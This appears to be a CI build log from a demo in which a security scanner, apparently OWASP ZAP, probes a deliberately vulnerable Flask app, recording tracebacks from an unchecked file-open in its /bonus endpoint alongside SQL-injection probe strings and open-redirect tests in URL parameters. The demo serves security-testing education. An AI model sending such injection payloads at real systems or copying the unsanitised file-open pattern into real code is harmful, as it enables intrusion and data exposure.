  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html"'
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html%22 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=%3B HTTP/1.1" 200 -
[2017-10-18 08:05:13,338] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u';'
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=%3B HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query%3B HTTP/1.1" 200 -
[2017-10-18 08:05:13,342] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html;'
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html%3B HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=%29 HTTP/1.1" 200 -
[2017-10-18 08:05:13,350] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u')'
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=%29 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query%29 HTTP/1.1" 200 -
[2017-10-18 08:05:13,355] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html)'
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html%29 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET / HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET / HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query+AND+1%3D1+--+ HTTP/1.1" 200 -
[2017-10-18 08:05:13,375] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html AND 1=1 -- '
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html+AND+1%3D1+--+ HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query+AND+1%3D2+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query+OR+1%3D1+--+ HTTP/1.1" 200 -
[2017-10-18 08:05:13,382] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u"xss2.html' AND '1'='1' -- "
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html%27+AND+%271%27%3D%271%27+--+ HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query+AND+1%3D2+--+ HTTP/1.1" 200 -
[2017-10-18 08:05:13,389] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html" AND "1"="1" -- '
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html%22+AND+%221%22%3D%221%22+--+ HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query+OR+1%3D1+--+ HTTP/1.1" 200 -
[2017-10-18 08:05:13,394] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html AND 1=1'
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html+AND+1%3D1 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query%27+AND+%271%27%3D%271%27+--+ HTTP/1.1" 200 -
[2017-10-18 08:05:13,399] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u"xss2.html' AND '1'='1"
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html%27+AND+%271%27%3D%271 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query%27+AND+%271%27%3D%272%27+--+ HTTP/1.1" 200 -
[2017-10-18 08:05:13,403] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html" AND "1"="1'
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html%22+AND+%221%22%3D%221 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query%27+OR+%271%27%3D%271%27+--+ HTTP/1.1" 200 -
[2017-10-18 08:05:13,408] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html UNION ALL select NULL -- '
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html+UNION+ALL+select+NULL+--+ HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query%27+AND+%271%27%3D%272%27+--+ HTTP/1.1" 200 -
[2017-10-18 08:05:13,414] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u"xss2.html' UNION ALL select NULL -- "
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html%27+UNION+ALL+select+NULL+--+ HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query%27+OR+%271%27%3D%271%27+--+ HTTP/1.1" 200 -
[2017-10-18 08:05:13,420] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html" UNION ALL select NULL -- '
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html%22+UNION+ALL+select+NULL+--+ HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query%27+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
[2017-10-18 08:05:13,428] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html) UNION ALL select NULL -- '
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query%22+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
[2017-10-18 08:05:13,437] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u"xss2.html') UNION ALL select NULL -- "
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html%27%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query%27%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET / HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=%27 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%27 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=%22 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=%27 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query%27 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%22 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=%3B HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%3B HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=%3B HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=%29 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query%3B HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%29 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=%29 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http://localhost:5000 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query%29 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http://localhost:5000 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000+AND+1%3D1+--+ HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%27+AND+%271%27%3D%271%27+--+ HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query+AND+1%3D1+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%22+AND+%221%22%3D%221%22+--+ HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query+AND+1%3D2+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000+AND+1%3D1 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query+OR+1%3D1+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%27+AND+%271%27%3D%271 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query+AND+1%3D2+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%22+AND+%221%22%3D%221 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query+OR+1%3D1+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000+UNION+ALL+select+NULL+--+ HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query%27+AND+%271%27%3D%271%27+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%27+UNION+ALL+select+NULL+--+ HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query%27+AND+%271%27%3D%272%27+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query%27+OR+%271%27%3D%271%27+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%22+UNION+ALL+select+NULL+--+ HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query%27+AND+%271%27%3D%272%27+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query%27+OR+%271%27%3D%271%27+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%27%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query+UNION+ALL+select+NULL+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query%27+UNION+ALL+select+NULL+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /mystery?name=http://localhost:5000 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query%22+UNION+ALL+select+NULL+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt?query=query%27%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /robots.txt HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=%27 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=%27&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query%27 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k%27&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=%3B HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=%22&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query%3B HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k%22&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=%29 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=%3B&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query%29 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k%3B&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=%29&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k%29&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query+AND+1%3D1+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query+AND+1%3D2+--+ HTTP/1.1" 404 -
